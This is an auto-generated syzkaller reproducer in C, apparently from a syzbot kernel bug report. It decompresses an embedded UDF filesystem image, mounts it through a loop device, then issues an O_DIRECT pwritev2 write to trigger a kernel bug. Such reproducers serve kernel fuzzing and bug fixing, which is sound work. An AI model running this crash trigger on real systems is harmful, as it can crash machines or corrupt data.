// https://syzkaller.appspot.com/bug?id=ff834988a0e05a23199aa0230d9afa4b010c69d2 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_memfd_create #define __NR_memfd_create 319 #endif #ifndef __NR_pwritev2 #define __NR_pwritev2 328 #endif static unsigned long long procid; //% This code is derived from puff.{c,h}, found in the zlib development. The //% original files come with the following copyright notice: //% Copyright (C) 2002-2013 Mark Adler, all rights reserved //% version 2.3, 21 Jan 2013 //% This software is provided 'as-is', without any express or implied //% warranty. In no event will the author be held liable for any damages //% arising from the use of this software. //% Permission is granted to anyone to use this software for any purpose, //% including commercial applications, and to alter it and redistribute it //% freely, subject to the following restrictions: //% 1. The origin of this software must not be misrepresented; you must not //% claim that you wrote the original software. If you use this software //% in a product, an acknowledgment in the product documentation would be //% appreciated but is not required. //% 2. Altered source versions must be plainly marked as such, and must not be //% misrepresented as being the original software. //% 3. This notice may not be removed or altered from any source distribution. //% Mark Adler madler@alumni.caltech.edu //% BEGIN CODE DERIVED FROM puff.{c,h} #define MAXBITS 15 #define MAXLCODES 286 #define MAXDCODES 30 #define MAXCODES (MAXLCODES + MAXDCODES) #define FIXLCODES 288 struct puff_state { unsigned char* out; unsigned long outlen; unsigned long outcnt; const unsigned char* in; unsigned long inlen; unsigned long incnt; int bitbuf; int bitcnt; jmp_buf env; }; static int puff_bits(struct puff_state* s, int need) { long val = s->bitbuf; while (s->bitcnt < need) { if (s->incnt == s->inlen) longjmp(s->env, 1); val |= (long)(s->in[s->incnt++]) << s->bitcnt; s->bitcnt += 8; } s->bitbuf = (int)(val >> need); s->bitcnt -= need; return (int)(val & ((1L << need) - 1)); } static int puff_stored(struct puff_state* s) { s->bitbuf = 0; s->bitcnt = 0; if (s->incnt + 4 > s->inlen) return 2; unsigned len = s->in[s->incnt++]; len |= s->in[s->incnt++] << 8; if (s->in[s->incnt++] != (~len & 0xff) || s->in[s->incnt++] != ((~len >> 8) & 0xff)) return -2; if (s->incnt + len > s->inlen) return 2; if (s->outcnt + len > s->outlen) return 1; for (; len--; s->outcnt++, s->incnt++) { if (s->in[s->incnt]) s->out[s->outcnt] = s->in[s->incnt]; } return 0; } struct puff_huffman { short* count; short* symbol; }; static int puff_decode(struct puff_state* s, const struct puff_huffman* h) { int first = 0; int index = 0; int bitbuf = s->bitbuf; int left = s->bitcnt; int code = first = index = 0; int len = 1; short* next = h->count + 1; while (1) { while (left--) { code |= bitbuf & 1; bitbuf >>= 1; int count = *next++; if (code - count < first) { s->bitbuf = bitbuf; s->bitcnt = (s->bitcnt - len) & 7; return h->symbol[index + (code - first)]; } index += count; first += count; first <<= 1; code <<= 1; len++; } left = (MAXBITS + 1) - len; if (left == 0) break; if (s->incnt == s->inlen) longjmp(s->env, 1); bitbuf = s->in[s->incnt++]; if (left > 8) left = 8; } return -10; } static int puff_construct(struct puff_huffman* h, const short* length, int n) { int len; for (len = 0; len <= MAXBITS; len++) h->count[len] = 0; int symbol; for (symbol = 0; symbol < n; symbol++) (h->count[length[symbol]])++; if (h->count[0] == n) return 0; int left = 1; for (len = 1; len <= MAXBITS; len++) { left <<= 1; left -= h->count[len]; if (left < 0) return left; } short offs[MAXBITS + 1]; offs[1] = 0; for (len = 1; len < MAXBITS; len++) offs[len + 1] = offs[len] + h->count[len]; for (symbol = 0; symbol < n; symbol++) if (length[symbol] != 0) h->symbol[offs[length[symbol]]++] = symbol; return left; } static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode, const struct puff_huffman* distcode) { static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258}; static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0}; static const short dists[30] = { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577}; static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13}; int symbol; do { symbol = puff_decode(s, lencode); if (symbol < 0) return symbol; if (symbol < 256) { if (s->outcnt == s->outlen) return 1; if (symbol) s->out[s->outcnt] = symbol; s->outcnt++; } else if (symbol > 256) { symbol -= 257; if (symbol >= 29) return -10; int len = lens[symbol] + puff_bits(s, lext[symbol]); symbol = puff_decode(s, distcode); if (symbol < 0) return symbol; unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]); if (dist > s->outcnt) return -11; if (s->outcnt + len > s->outlen) return 1; while (len--) { if (dist <= s->outcnt && s->out[s->outcnt - dist]) s->out[s->outcnt] = s->out[s->outcnt - dist]; s->outcnt++; } } } while (symbol != 256); return 0; } static int puff_fixed(struct puff_state* s) { static int virgin = 1; static short lencnt[MAXBITS + 1], lensym[FIXLCODES]; static short distcnt[MAXBITS + 1], distsym[MAXDCODES]; static struct puff_huffman lencode, distcode; if (virgin) { lencode.count = lencnt; lencode.symbol = lensym; distcode.count = distcnt; distcode.symbol = distsym; short lengths[FIXLCODES]; int symbol; for (symbol = 0; symbol < 144; symbol++) lengths[symbol] = 8; for (; symbol < 256; symbol++) lengths[symbol] = 9; for (; symbol < 280; symbol++) lengths[symbol] = 7; for (; symbol < FIXLCODES; symbol++) lengths[symbol] = 8; puff_construct(&lencode, lengths, FIXLCODES); for (symbol = 0; symbol < MAXDCODES; symbol++) lengths[symbol] = 5; puff_construct(&distcode, lengths, MAXDCODES); virgin = 0; } return puff_codes(s, &lencode, &distcode); } static int puff_dynamic(struct puff_state* s) { static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15}; int nlen = puff_bits(s, 5) + 257; int ndist = puff_bits(s, 5) + 1; int ncode = puff_bits(s, 4) + 4; if (nlen > MAXLCODES || ndist > MAXDCODES) return -3; short lengths[MAXCODES]; int index; for (index = 0; index < ncode; index++) lengths[order[index]] = puff_bits(s, 3); for (; index < 19; index++) lengths[order[index]] = 0; short lencnt[MAXBITS + 1], lensym[MAXLCODES]; struct puff_huffman lencode = {lencnt, lensym}; int err = puff_construct(&lencode, lengths, 19); if (err != 0) return -4; index = 0; while (index < nlen + ndist) { int symbol; int len; symbol = puff_decode(s, &lencode); if (symbol < 0) return symbol; if (symbol < 16) lengths[index++] = symbol; else { len = 0; if (symbol == 16) { if (index == 0) return -5; len = lengths[index - 1]; symbol = 3 + puff_bits(s, 2); } else if (symbol == 17) symbol = 3 + puff_bits(s, 3); else symbol = 11 + puff_bits(s, 7); if (index + symbol > nlen + ndist) return -6; while (symbol--) lengths[index++] = len; } } if (lengths[256] == 0) return -9; err = puff_construct(&lencode, lengths, nlen); if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1])) return -7; short distcnt[MAXBITS + 1], distsym[MAXDCODES]; struct puff_huffman distcode = {distcnt, distsym}; err = puff_construct(&distcode, lengths + nlen, ndist); if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1])) return -8; return puff_codes(s, &lencode, &distcode); } static int puff(unsigned char* dest, unsigned long* destlen, const unsigned char* source, unsigned long sourcelen) { struct puff_state s = { .out = dest, .outlen = *destlen, .outcnt = 0, .in = source, .inlen = sourcelen, .incnt = 0, .bitbuf = 0, .bitcnt = 0, }; int err; if (setjmp(s.env) != 0) err = 2; else { int last; do { last = puff_bits(&s, 1); int type = puff_bits(&s, 2); err = type == 0 ? puff_stored(&s) : (type == 1 ? puff_fixed(&s) : (type == 2 ? puff_dynamic(&s) : -1)); if (err != 0) break; } while (!last); } *destlen = s.outcnt; return err; } //% END CODE DERIVED FROM puff.{c,h} #define ZLIB_HEADER_WIDTH 2 static int puff_zlib_to_file(const unsigned char* source, unsigned long sourcelen, int dest_fd) { if (sourcelen < ZLIB_HEADER_WIDTH) return 0; source += ZLIB_HEADER_WIDTH; sourcelen -= ZLIB_HEADER_WIDTH; const unsigned long max_destlen = 132 << 20; void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0); if (ret == MAP_FAILED) return -1; unsigned char* dest = (unsigned char*)ret; unsigned long destlen = max_destlen; int err = puff(dest, &destlen, source, sourcelen); if (err) { munmap(dest, max_destlen); errno = -err; return -1; } if (write(dest_fd, dest, destlen) != (ssize_t)destlen) { munmap(dest, max_destlen); return -1; } return munmap(dest, max_destlen); } static int setup_loop_device(unsigned char* data, unsigned long size, const char* loopname, int* loopfd_p) { int err = 0, loopfd = -1; int memfd = syscall(__NR_memfd_create, "syzkaller", 0); if (memfd == -1) { err = errno; goto error; } if (puff_zlib_to_file(data, size, memfd)) { err = errno; goto error_close_memfd; } loopfd = open(loopname, O_RDWR); if (loopfd == -1) { err = errno; goto error_close_memfd; } if (ioctl(loopfd, LOOP_SET_FD, memfd)) { if (errno != EBUSY) { err = errno; goto error_close_loop; } ioctl(loopfd, LOOP_CLR_FD, 0); usleep(1000); if (ioctl(loopfd, LOOP_SET_FD, memfd)) { err = errno; goto error_close_loop; } } close(memfd); *loopfd_p = loopfd; return 0; error_close_loop: close(loopfd); error_close_memfd: close(memfd); error: errno = err; return -1; } static void reset_loop_device(const char* loopname) { int loopfd = open(loopname, O_RDWR); if (loopfd == -1) { return; } if (ioctl(loopfd, LOOP_CLR_FD, 0)) { } close(loopfd); } static long syz_mount_image(volatile long fsarg, volatile long dir, volatile long flags, volatile long optsarg, volatile long change_dir, volatile unsigned long size, volatile long image) { unsigned char* data = (unsigned char*)image; int res = -1, err = 0, need_loop_device = !!size; char* mount_opts = (char*)optsarg; char* target = (char*)dir; char* fs = (char*)fsarg; char* source = NULL; char loopname[64]; if (need_loop_device) { int loopfd; memset(loopname, 0, sizeof(loopname)); snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid); if (setup_loop_device(data, size, loopname, &loopfd) == -1) return -1; close(loopfd); source = loopname; } mkdir(target, 0777); char opts[256]; memset(opts, 0, sizeof(opts)); if (strlen(mount_opts) > (sizeof(opts) - 32)) { } strncpy(opts, mount_opts, sizeof(opts) - 32); if (strcmp(fs, "iso9660") == 0) { flags |= MS_RDONLY; } else if (strncmp(fs, "ext", 3) == 0) { bool has_remount_ro = false; char* remount_ro_start = strstr(opts, "errors=remount-ro"); if (remount_ro_start != NULL) { char after = *(remount_ro_start + strlen("errors=remount-ro")); char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1); has_remount_ro = ((before == '\0' || before == ',') && (after == '\0' || after == ',')); } if (strstr(opts, "errors=panic") || !has_remount_ro) strcat(opts, ",errors=continue"); } else if (strcmp(fs, "xfs") == 0) { strcat(opts, ",nouuid"); } res = mount(source, target, fs, flags, opts); if (res == -1) { err = errno; goto error_clear_loop; } res = open(target, O_RDONLY | O_DIRECTORY); if (res == -1) { err = errno; goto error_clear_loop; } if (change_dir) { res = chdir(target); if (res == -1) { err = errno; } } error_clear_loop: if (need_loop_device) reset_loop_device(loopname); errno = err; return res; } uint64_t r[1] = {0xffffffffffffffff}; int main(void) { syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul); const char* reason; (void)reason; intptr_t res = 0; if (write(1, "executing program\n", sizeof("executing program\n") - 1)) { } memcpy((void*)0x200000000600, "udf\000", 4); memcpy((void*)0x200000000640, "./file0\000", 8); memcpy( (void*)0x200000000280, "\x00\x5a\xdf\x77\x7d\x83\xb5\x24\x08\x41\xb7\x89\xbe\x04\xaf\x0f\x62\x08" "\x54\xfa\x3b\x8c\x82\x8d\xdf\xa1\xc8\x40\xe3\xe5\xed\xe9\x6b\xc9\x1e\x70" "\x73\x8f\x22\x97\x6b\x00\x40\x10\xcf\x86\x94\x9a\x15\x77\xf8\x02\x00\x00" "\x00\x00\x00\x00\x00\x53\xb6\x5b\x93\xe9\x1f\x97\x62\x43\xc2\x80\x43\xab" "\x1c\xa5\x4a\x7e\xed\x0e\x3a\x7e\x3e\x2d\xb5\x4d\x11\x4b\x85\x34\x48\x9d" "\x3b\xd3\xfb\x3e\xa5\x86\xcd\xfd\x6b\xf0\xd0\x39\x2c\x1a\x9a\x8f\x57\x3c" "\x06\x6d\x59\x2e\xd4\x69\x50\x68\xae\x9c\x25\xe7\x1b\xb8\x5a\xee\xd2\x61" "\x14\xf2\x16\x4f\xec\x29\x34\x36\x09\x1f\x2e\xc0\x58\x52\xc7\x0e\x78\x39" "\xee\x08\x1f\xe0\x50\x4f\x48\x93\x79\x3a\xc5\x8b\x28\x54\xf8\x10\x89\x45" "\x46\x12\x8e\x8d\x13\x17\xf1\x90\xa0\x62\x47\x22\x6c\x6d\x19\x03\x59\xf9" "\x2c\x23\xf8\xaf\x23\x41\x14\xa6\xd5\x03\x4a\xb7\xf2\xa4\xcd\x6a\x7f\x5c" "\x4b\xaf\x6e\x84\xb2\xef\x16\x53\x4c\x8b\xe6\xc4\x0d\xa1\xd1\x44\x46\x33" "\xbe\xc3\xc8\x89\x09\xb7\xbc\xb6\xc3\x27\x11\x40\x48\x95\xde\xe5\xc4\xc7" "\x7b\xf3\x11\x68\x0b\x4a\x4c\x79\xa8\xe8\x14\xd9\xcd\x56\x80\x6f\x88\x9f" "\x9d\xe5\xd4\x26\x1b\x2e\xd2\xce\xa5\x92\x91\x98\x17\xc7\x04\x52\x78\x49" "\x91\xfe\x23\x75\x69\xc6\xc9\x98\x13\xda\xdd\xb9\xae\xd8\x24\x16\xec\x25" "\x9b\xae\xb1\x3e\x11\xc5\x72\xe2\xc4", 297); memcpy( (void*)0x2000000006c0, "\x78\x9c\xec\xdd\x4d\x6c\x1c\x67\xfd\x07\xf0\xdf\x33\xde\x75\xd6\x69\x5e" "\x36\x69\xfe\x49\xff\x28\x88\xe5\x4d\x41\x41\x44\xb6\x13\xda\x58\xae\x8a" "\x4c\xcc\x56\x48\x86\x48\x75\x5c\x41\x0f\xa8\x26\xde\x84\x55\xfd\x12\xd9" "\x49\x95\x44\x55\xe9\x91\x13\x48\xbd\x21\x2e\x5c\x2a\x55\x20\x50\x39\xc2" "\xa9\x94\x03\x17\x6e\x1c\xab\x9e\x90\x0a\x12\x12\x32\x27\x8e\x45\x33\x9e" "\xf5\xae\x1d\x43\x2c\x36\x1b\xc7\xc9\xe7\x23\xc5\xfb\xec\x33\xbf\x99\x79" "\x66\x0e\x91\xbe\xcf\xbc\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x11\x5f\xff\xc6\xd4\xe8\x58\xda\xeb\x51\x00\x00\x00\x00\x83" "\xf4\xed\xd9\x97\x46\xc7\xe5\x7f\x00\x00\x00\x78\xac\x5d\x71\xfd\x1f\x00" "\x00\x00\x00\x00\x00\x00\xf6\xbb\x14\x59\xdc\x8d\x14\x67\x5e\x5a\x4f\x87" "\x8a\xef\x1b\x6a\x33\xed\xe5\x5b\xb7\xe7\xa6\x9b\x3b\xaf\x36\x92\x8a\x35" "\x87\x8a\xfa\xfc\x5f\x6d\x6c\xfc\xfc\x85\xaf\x3e\xfb\xdc\xc5\xce\xe7\x7f" "\x5f\xff\x41\xfb\xff\xb8\x3c\x7b\x65\xaa\x71\x69\x65\xe9\xc6\x6a\x6b\x6d" "\xad\xb5\xd0\x98\x5b\x6e\x5f\x5d\x59\x68\xed\x7a\x0b\xfd\xae\xbf\xdd\xd9" "\xe2\x04\x34\x96\x5e\xbb\xb5\x70\xed\xda\x5a\x63\xfc\xdc\xf9\x2d\x8b\x6f" "\xd7\x3f\x3e\xf0\xd4\xc9\xfa\xe4\xc5\x89\x99\xa1\x4e\xed\xdc\x74\xb3\x39" "\xdb\x53\x53\xa9\xfe\xcf\x7b\xbf\x87\x3b\x3c\x00\x00\x00\x9e\x6c\xc3\x91" "\xc5\x67\x23\xc5\x47\x3f\xfc\x75\x3a\x1c\x11\x59\xf4\x9f\x85\xef\x33\x77" "\x30\x68\x23\x51\xcf\xf3\x77\x71\x10\x73\xd3\xcd\xe2\x40\x16\xdb\xf3\xcb" "\x37\xf3\x85\xa9\x13\x84\xeb\x5b\x33\xf1\x70\x27\x23\x3f\x84\x2c\xde\x97" "\x9f\x47\x1c\xcf\xc7\x3a\x2c\xd1\x03\x00\x00\xb0\x7b\xd5\xc8\xe2\x85\x48" "\xf1\xca\x47\xeb\xe9\x48\x44\x0c\x75\x72\xf0\x97\x8b\x17\x03\xde\x7f\x03" "\xf5\x87\x30\xc8\x1d\xe4\xe3\x3c\x1d\x11\x8d\xd8\x07\x99\x1d\x00\x00\x00" "\xf6\xd8\x81\xc8\xe2\xcf\x91\xe2\x9f\xbf\xad\xc7\xd1\x3c\x33\x77\xf2\xff" "\x68\xc4\xf3\x7b\x3d\x38\x00\x00\x00\xe0\x81\xa8\x44\x16\x4b\x91\xe2\xcc" "\x0b\xeb\xa9\x5e\xdc\x0f\x10\x11\x67\xe7\xa6\x9b\x8d\x99\x97\x1b\xdf\x5c" "\xbe\xb6\xd2\x53\x9b\x52\x79\x45\x7d\xbf\x3f\x1f\xf0\x30\xb9\x37\x01\x00" "\x00\x80\x47\x40\x2d\xb2\x38\x5c\x5c\xf1\x5f\x4f\xc7\xf6\x7a\x30\x00\x00" "\x00\xc0\x40\x8c\x44\x16\x17\x22\x45\xf5\x67\xaf\x17\xef\x95\x8b\xe2\xbd" "\xf4\x47\x27\x27\x86\xc7\x5f\xed\x7d\xc3\xdc\xa9\xfb\x6c\x27\xaf\x3d\x17" "\x1b\xef\xa6\xdb\xcd\x33\xf9\xd5\xce\xbb\x06\xf3\x75\xb3\x07\x7b\x4c\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x3c\x79\x6a\x29\x8b\xef\x45\x8a\x9f\xfe\xa6\x56\x7c\x6f\x44\x44" "\x25\x6f\xbc\xff\xc9\x27\x7b\x3d\x36\x00\x00\x00\xe0\x01\x49\x59\xac\x46" "\x8a\x1f\xff\x63\x3d\xa5\x88\xb8\x5d\xff\xf8\xc0\x53\x27\xeb\x93\x17\x27" "\x66\x86\x86\x62\x28\xf2\xbe\xd4\x5b\x7f\x79\xf6\xca\x54\xe3\xd2\xca\xd2" "\x8d\xd5\xd6\xda\x5a\x6b\xa1\x31\xb7\xdc\xbe\xba\xb2\xd0\xda\xed\xee\x6a" "\x33\xed\xe5\x5b\xb7\xe7\xa6\x9b\x03\x39\x98\xfb\x1a\x19\xf0\xf8\x47\x6a" "\x97\x56\x6e\xdc\x59\x6d\x5f\xff\xc1\xcd\x1d\x97\x1f\xac\x4d\x7d\x7f\xed" "\xe6\xea\xfc\xd5\x9d\x17\xc7\x48\x34\x22\xb2\xde\x9e\xb3\xc5\x80\xe7\xa6" "\x9b\xc5\xa0\x17\xdb\xf3\xcb\xc5\xaa\x29\xed\x76\xc4\x00\x00\x00\x10\x51" "\x4d\x59\xbc\x1f\x29\x3e\xf7\x97\xf7\xba\xb9\xb3\x9e\xf2\x76\x65\xe3\x4b" "\x37\x68\xbe\xf3\x7c\x37\x9b\xd6\xd2\xb6\xa5\xc5\xbc\xc1\x91\x62\xde\x60" "\xa3\x7d\x74\x72\xa2\x3a\x7e\xa6\xb7\xbd\x63\x64\x3d\x5b\x04\xea\x3c\xe0" "\x36\x67\x7b\xba\x2b\xd5\x7b\x4b\xeb\xe5\x7e\x2b\x7d\x1f\x35\x00\x00\x00" "\x00\x00\x00\x00\x3c\x5e\x52\xca\xe2\xf5\x48\xf1\x87\xb7\x9f\x29\xae\xab" "\xa7\x38\x18\xf7\xdc\x83\x5e\xd6\x1d\x89\x14\x3f\x79\xe5\x74\x59\x97\x0d" "\x47\x3d\xa2\x73\x99\xbe\x5e\xfc\xad\x5d\x6b\x2f\xb6\x46\xf3\xda\xb7\x23" "\xc5\x89\xef\x76\x6a\xa3\xa8\xad\x95\xb5\x4f\x77\x6b\xc7\xf2\xda\x5a\xbe" "\xdd\x2b\x5b\x6b\x47\xca\xda\x13\xdd\xda\xf1\xbc\xf6\xc5\x48\xf1\xe1\x8b" "\x3b\xd7\xfe\x5f\xb7\xf6\x7c\x5e\x7b\x27\x52\xbc\xfb\x6e\xa3\x53\x7b\x30" "\xaf\x3d\x5c\xd6\x9e\xec\xd6\x9e\xbb\xba\xb2\xb8\x30\xb0\x13\x0c\x00\x00" "\x00\x8f\x80\x6a\xca\xe2\x83\x48\xf1\xcb\xbf\x35\x52\x27\xcb\x97\x79\xb9" "\xbc\xcd\x7e\x68\xb3\xf6\x9d\x37\xba\xf7\xfb\xbf\xb5\x7d\x43\xff\xe1\x9e" "\xff\x7e\xef\xff\xaf\xf7\xf4\xbd\x55\xce\x43\xd4\x22\xc5\x17\x3e\x78\xa6" "\x98\x7b\x28\xe6\x2b\xea\x3b\xcf\x57\x4c\x45\x8a\x3f\x5d\x3e\x5d\xd6\x6d" "\xcc\x15\x0c\x97\xcb\x8f\x15\x7f\xbb\xf3\x15\x2f\x47\x8a\xdf\xaf\x6c\xad" "\x3d\x50\xd6\x1e\xef\xd6\x8e\xed\xfa\xc4\x02\x00\x00\xc0\x23\x24\xcf\xff" "\xa7\x23\xc5\x8f\xfe\xf8\xbb\x4a\x27\x1b\x97\xf9\xbf\x4c\xe0\x3b\xe7\xff" "\x4f\x6d\x7f\x08\x7f\x40\xf9\xff\x58\x4f\x5f\xbe\xcf\xb5\x3b\x77\x5f\x9b" "\x5f\x5c\x6c\xad\x6a\x68\x68\x68\x6c\x36\xfa\xff\xbf\x10\x00\x00\x1e\x77" "\x79\xfe\x7f\x33\x52\x7c\xab\xf9\xe1\xe6\xf5\xee\x32\xff\x1f\xda\xf8\xd6" "\xcd\xff\xff\x7a\xb3\x9b\xff\x27\xb7\x6f\x68\x40\xf9\xff\x78\x4f\xdf\x64" "\xf9\xbe\xc1\x6a\x25\xa2\x76\x73\xe9\x46\xf5\x54\x44\x6d\xed\xce\xdd\xaf" "\xb4\x97\xe6\xaf\xb7\xae\xb7\x96\xc7\x47\x9f\xbd\x30\xf6\xdc\xf9\xb1\x0b" "\x17\xab\xc3\x9d\x8b\xfb\xdd\x56\xdf\xe7\x0a\x00\x00\x00\xf6\xab\x3c\xff" "\xcf\x46\x8a\x5f\xfd\xfd\x17\x9b\xcf\xe7\xef\xe6\xfa\xff\xc1\xed\x1b\x1a" "\x50\xfe\x7f\xba\xa7\x2f\xdf\x67\xf7\xa2\x5f\xdf\x87\x0e\x00\x00\x00\x4f" "\x8c\x3c\xff\x4f\x44\x8a\xef\x7c\xe6\xbd\xcd\xf7\xe8\x6d\xcd\xff\x3d\xbf" "\xff\xf7\x46\xf7\x39\xfb\x2f\x7d\x7e\xe3\x73\x73\x76\x60\x40\xf9\xff\x44" "\x4f\x5f\xbd\xdc\xef\x3d\x73\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\xb0\xcf\x55\x53\x16\x67\x22\xc5\x17\xff\x5a\x49\x87" "\xcb\xbe\xdd\xbc\xff\x6f\x61\xfb\x86\x06\xf4\xfc\xff\xc9\x9e\xbe\x85\x78" "\x38\xbf\xff\xd7\xf7\x49\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x9e\x48\x59\x64\xd1\x8e\x14\x9f\x3e\xb5\x9e\xbe\x96\x77\xbc" "\x1a\x71\xa8\xf7\x13\x00\x00\x00\xd8\xf7\xfe\x1d\x00\x00\xff\xff\x71\x35" "\x1b\xf4", 1478); syz_mount_image(/*fs=*/0x200000000600, /*dir=*/0x200000000640, /*flags=*/0, /*opts=*/0x200000000280, /*chdir=*/1, /*size=*/0x5c6, /*img=*/0x2000000006c0); memcpy((void*)0x200000000140, "./file1\000", 8); res = syscall(__NR_open, /*file=*/0x200000000140ul, /*flags=O_NONBLOCK|O_NOFOLLOW|O_NOATIME|O_DIRECT|O_CREAT|0x2002*/ 0x66842ul, /*mode=S_IXOTH|S_IRGRP*/ 0x21ul); if (res != -1) r[0] = res; *(uint64_t*)0x200000000240 = 0x200000000040; memset((void*)0x200000000040, 133, 1); *(uint64_t*)0x200000000248 = 1; syscall(__NR_pwritev2, /*fd=*/r[0], /*vec=*/0x200000000240ul, /*vlen=*/1ul, /*off_low=*/0x2000, /*off_high=*/0, /*flags=RWF_HIPRI|RWF_DSYNC*/ 3ul); return 0; }